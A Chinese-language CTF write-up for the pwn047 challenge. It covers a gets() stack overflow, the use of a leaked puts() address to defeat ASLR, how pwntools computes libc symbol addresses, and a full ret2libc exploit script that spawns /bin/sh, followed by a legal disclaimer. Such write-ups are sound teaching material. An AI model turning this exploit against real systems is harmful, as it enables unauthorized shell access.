1. 简介

本篇分享对pwn047的解题思路,以及对pwntools 内部计算符号地址的研究
参考文章:https://blog.csdn.net/2402_84408069/article/details/158155516?spm=1001.2014.3001.5501

2. 题目信息

1. 文件基本信息

32位程序、动态链接、无canary、无PIENX打开

2. 函数执行逻辑

(1) 静态分析

丢进IDA中看一眼:


根据这些我们可以得到:

  • libcputs()等函数的真实地址
  • "\bin\sh"的地址

(2) 漏洞函数

gets()函数引起的栈溢出漏洞。

3. 攻击思路

整体思路为:

利用gets(),通过构造ROP链,构造并执行 system(“\bin\sh”) 来 get shell。

细节:

由于 ASLR (地址空间布局随机化) 的存在,Libc 库在内存中的加载基址每次都是随机的。但是,程序直接打印出了puts()函数在当前内存中的真实地址,这就相当于直接告诉了我们 ASLR 的随机偏移量。

4. 编写exp

1. payload构造

(1) 偏移量(offset)

通过cyclic能比较方便地获得offset

所以,offset = 156 + 4 = 160

(2) ROP构造

注意 :

我们要利用Libc里面的system()函数来达到我们的目的,因而我们需要用到

1
system_addr = libc.sym['system']

但是 pwntools 中的 ELF 对象是带有动态基址状态的(libc.address

pwntools 内部计算符号地址的公式是:

1
libc.sym['函数名'] = libc.address (基址) + 偏移 (Offset)

当我们不告诉 pwntools 此时 libc 在内存里的真实加载地址时, libc.address 默认为 0
这样就会导致libc.sym['函数名']返回一个错误的值,引发段错误。
所以我们要先用程序给我们的puts()函数泄露基址,然后再进行后续操作。

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
from LibcSearcher import *

# 1. 基础配置
context(arch = 'i386', os = 'linux' , log_level = 'debug')

# 2. 建立连接
# [本地调试]
io = process('./pwn')
# [远程攻击]
# io = remote('pwn.challenge.ctf.show', 28200)

elf = ELF('./pwn')

# ==================== 第一步:接收程序赠送的地址 ====================

# 接收 "puts: "
io.recvuntil(b"puts: ")
# 读取后面的地址字符串 (直到换行符),并转换为整数
# drop=True 表示不包含结尾的 \n
puts_addr_str = io.recvuntil(b"\n", drop=True)
# eval 可以将 "0xf7..." 字符串直接转为整数,也可以用 int(str, 16)
puts_real_addr = eval(puts_addr_str)

# 跳过中间的 fflush, read, write,直接读取 gift
io.recvuntil(b"gift: ")
gift_addr_str = io.recvuntil(b"\n", drop=True)
bin_sh_addr = eval(gift_addr_str)

# ==================== 第二步:计算 System 地址 ====================

# [本地调试模式]
libc = elf.libc
libc.address = puts_real_addr - libc.sym['puts']
system_addr = libc.sym['system']

# [远程攻击模式]
# libc_search = LibcSearcher('puts', puts_real_addr)
# libc_base = puts_real_addr - libc_search.dump('puts')
# system_addr = libc_base + libc_search.dump('system')

# ==================== 第三步:发送 Payload ====================

# 偏移量 0x9C (156) + 4 = 160
offset = 160

# 32位 ROP 结构: Padding + 函数 + 返回地址 + 参数
payload = flat([
b'a' * offset,
system_addr, # 调用 system
0xdeadbeef, # system 返回地址 (随意填,因为拿到 shell 后不需要返回)
bin_sh_addr # 参数: /bin/sh (直接用题目给的 gift 地址)
])

io.recvuntil(b"Start your show time: \n")
io.sendline(payload)

io.interactive()

宇宙级免责声明
重要声明:本文仅供合法授权下的安全研究与教育目的!
  1. 合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
  2. 道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
  3. 风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
  4. 合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
  5. 最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
  6. 数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
  7. 免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
安全研究的正确姿势:
  • 先授权,再测试
  • 只针对自己拥有或有权测试的系统
  • 发现漏洞后,及时报告并协助修复
  • 尊重隐私,不越界
警告:技术无善恶,人心有黑白。请明智选择你的道路。
声明参考链接:https://blog.csdn.net/2402_84408069/article/details/157263936